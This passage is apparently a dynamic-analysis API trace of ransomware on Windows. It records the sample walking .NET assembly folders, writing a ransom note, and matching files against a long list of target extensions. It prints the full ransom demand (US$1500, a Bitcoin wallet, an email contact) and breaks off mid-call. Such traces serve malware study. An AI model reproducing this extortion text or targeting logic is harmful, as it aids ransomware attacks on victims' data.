cFileName="748de10ea72fad908022d9507c7304fc", cAlternateFileName="748DE1~1")) returned 0 [0105.029] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0105.029] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x180e40f4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x180e40f4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x180e40f4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.OracleC#", cAlternateFileName="SYSTEM~1.ORA")) returned 1 [0105.029] lstrcmpA (lpString1=".", lpString2="System.Data.OracleC#") returned -1 [0105.029] lstrcmpA (lpString1="..", lpString2="System.Data.OracleC#") returned -1 [0105.029] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0105.029] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Data.OracleC#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#" [0105.029] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#") returned 67 [0105.029] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x180e40f4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x180e40f4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x180e40f4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0105.030] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.030] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x180e40f4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x180e40f4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x180e40f4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.030] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.030] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.030] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x180e40f4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x180e40f4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x180e40f4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="907f5045e26c39e1ae48024201b6334d", cAlternateFileName="907F50~1")) returned 1 [0105.030] lstrcmpA (lpString1=".", lpString2="907f5045e26c39e1ae48024201b6334d") returned -1 [0105.030] lstrcmpA (lpString1="..", lpString2="907f5045e26c39e1ae48024201b6334d") returned -1 [0105.030] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\*.*") returned="*.*" [0105.031] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\", lpString2="907f5045e26c39e1ae48024201b6334d" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d" [0105.031] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d") returned 100 [0105.031] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x180e40f4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x180e40f4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x180e40f4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0105.031] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.031] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x180e40f4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x180e40f4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x180e40f4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.031] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.031] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.031] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18025a12, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18025a12, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1804bb72, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x110a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.OracleClient.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0105.031] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.032] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.OracleClient.ni.dll") returned -1 [0105.032] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.OracleClient.ni.dll") returned -1 [0105.032] lstrcmpiA (lpString1="", lpString2="System.Data.OracleClient.ni.dll") returned -1 [0105.032] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\*.*") returned="*.*" [0105.032] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\" [0105.032] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\") returned="" [0105.032] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\HOW TO DECRYPT FILES.txt" [0105.032] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.oraclec#\\907f5045e26c39e1ae48024201b6334d\\how to decrypt files.txt")) returned 0xffffffff [0105.032] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.oraclec#\\907f5045e26c39e1ae48024201b6334d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0105.045] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0105.045] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0105.059] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0105.059] CloseHandle (hObject=0x90) returned 1 [0105.059] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\", lpString2="System.Data.OracleClient.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll" [0105.060] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.ems") returned 0 [0105.060] lstrlenA (lpString="*.ems") returned 5 [0105.060] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.db") returned 0 [0105.060] lstrlenA (lpString="*.db") returned 4 [0105.060] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.dbf") returned 0 [0105.060] lstrlenA (lpString="*.dbf") returned 5 [0105.060] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.myox") returned 0 [0105.060] lstrlenA (lpString="*.myox") returned 6 [0105.060] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.myo") returned 0 [0105.060] lstrlenA (lpString="*.myo") returned 5 [0105.060] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.qbw") returned 0 [0105.060] lstrlenA (lpString="*.qbw") returned 5 [0105.060] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.qbb") returned 0 [0105.060] lstrlenA (lpString="*.qbb") returned 5 [0105.060] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.qbm") returned 0 [0105.061] lstrlenA (lpString="*.qbm") returned 5 [0105.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.qbo") returned 0 [0105.061] lstrlenA (lpString="*.qbo") returned 5 [0105.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.qbx") returned 0 [0105.061] lstrlenA (lpString="*.qbx") returned 5 [0105.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.qba") returned 0 [0105.061] lstrlenA (lpString="*.qba") returned 5 [0105.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.qby") returned 0 [0105.061] lstrlenA (lpString="*.qby") returned 5 [0105.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.qbj") returned 0 [0105.061] lstrlenA (lpString="*.qbj") returned 5 [0105.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.ofx") returned 0 [0105.061] lstrlenA (lpString="*.ofx") returned 5 [0105.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.qif") returned 0 [0105.061] lstrlenA (lpString="*.qif") returned 5 [0105.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.mye") returned 0 [0105.061] lstrlenA (lpString="*.mye") returned 5 [0105.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.mbox") returned 0 [0105.062] lstrlenA (lpString="*.mbox") returned 6 [0105.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.eml") returned 0 [0105.062] lstrlenA (lpString="*.eml") returned 5 [0105.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.pst") returned 0 [0105.062] lstrlenA (lpString="*.pst") returned 5 [0105.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.ost") returned 0 [0105.062] lstrlenA (lpString="*.ost") returned 5 [0105.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.idx") returned 0 [0105.062] lstrlenA (lpString="*.idx") returned 5 [0105.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.dbx") returned 0 [0105.062] lstrlenA (lpString="*.dbx") returned 5 [0105.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.sql") returned 0 [0105.062] lstrlenA (lpString="*.sql") returned 5 [0105.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.mdb") returned 0 [0105.062] lstrlenA (lpString="*.mdb") returned 5 [0105.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.fdb") returned 0 [0105.062] lstrlenA (lpString="*.fdb") returned 5 [0105.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.wab") returned 0 [0105.062] lstrlenA (lpString="*.wab") returned 5 [0105.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.dat") returned 0 [0105.062] lstrlenA (lpString="*.dat") returned 5 [0105.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.txt") returned 0 [0105.063] lstrlenA (lpString="*.txt") returned 5 [0105.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.jpeg") returned 0 [0105.063] lstrlenA (lpString="*.jpeg") returned 6 [0105.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.jpg") returned 0 [0105.063] lstrlenA (lpString="*.jpg") returned 5 [0105.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.png") returned 0 [0105.063] lstrlenA (lpString="*.png") returned 5 [0105.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.php") returned 0 [0105.063] lstrlenA (lpString="*.php") returned 5 [0105.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.cs") returned 0 [0105.063] lstrlenA (lpString="*.cs") returned 4 [0105.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.cpp") returned 0 [0105.063] lstrlenA (lpString="*.cpp") returned 5 [0105.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.rar") returned 0 [0105.063] lstrlenA (lpString="*.rar") returned 5 [0105.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.zip") returned 0 [0105.064] lstrlenA (lpString="*.zip") returned 5 [0105.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.html") returned 0 [0105.064] lstrlenA (lpString="*.html") returned 6 [0105.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.htm") returned 0 [0105.064] lstrlenA (lpString="*.htm") returned 5 [0105.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.xlsx") returned 0 [0105.064] lstrlenA (lpString="*.xlsx") returned 6 [0105.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.xls") returned 0 [0105.064] lstrlenA (lpString="*.xls") returned 5 [0105.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.mp4") returned 0 [0105.064] lstrlenA (lpString="*.mp4") returned 5 [0105.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.ppt") returned 0 [0105.064] lstrlenA (lpString="*.ppt") returned 5 [0105.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.pptx") returned 0 [0105.064] lstrlenA (lpString="*.pptx") returned 6 [0105.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.doc") returned 0 [0105.064] lstrlenA (lpString="*.doc") returned 5 [0105.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.dot") returned 0 [0105.065] lstrlenA (lpString="*.dot") returned 5 [0105.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.docx") returned 0 [0105.065] lstrlenA (lpString="*.docx") returned 6 [0105.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.7z") returned 0 [0105.065] lstrlenA (lpString="*.7z") returned 4 [0105.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.tar") returned 0 [0105.065] lstrlenA (lpString="*.tar") returned 5 [0105.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.bz2") returned 0 [0105.065] lstrlenA (lpString="*.bz2") returned 5 [0105.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.gz") returned 0 [0105.065] lstrlenA (lpString="*.gz") returned 4 [0105.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.mkv") returned 0 [0105.065] lstrlenA (lpString="*.mkv") returned 5 [0105.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.eml") returned 0 [0105.065] lstrlenA (lpString="*.eml") returned 5 [0105.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.msg") returned 0 [0105.065] lstrlenA (lpString="*.msg") returned 5 [0105.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.edb") returned 0 [0105.065] lstrlenA (lpString="*.edb") returned 5 [0105.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.accdb") returned 0 [0105.065] lstrlenA (lpString="*.accdb") returned 7 [0105.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.odb") returned 0 [0105.066] lstrlenA (lpString="*.odb") returned 5 [0105.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.java") returned 0 [0105.066] lstrlenA (lpString="*.java") returned 6 [0105.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.asm") returned 0 [0105.066] lstrlenA (lpString="*.asm") returned 5 [0105.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.pfx") returned 0 [0105.066] lstrlenA (lpString="*.pfx") returned 5 [0105.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.pem") returned 0 [0105.066] lstrlenA (lpString="*.pem") returned 5 [0105.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.p12") returned 0 [0105.066] lstrlenA (lpString="*.p12") returned 5 [0105.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.gpg") returned 0 [0105.066] lstrlenA (lpString="*.gpg") returned 5 [0105.066] PathMatchSpecA 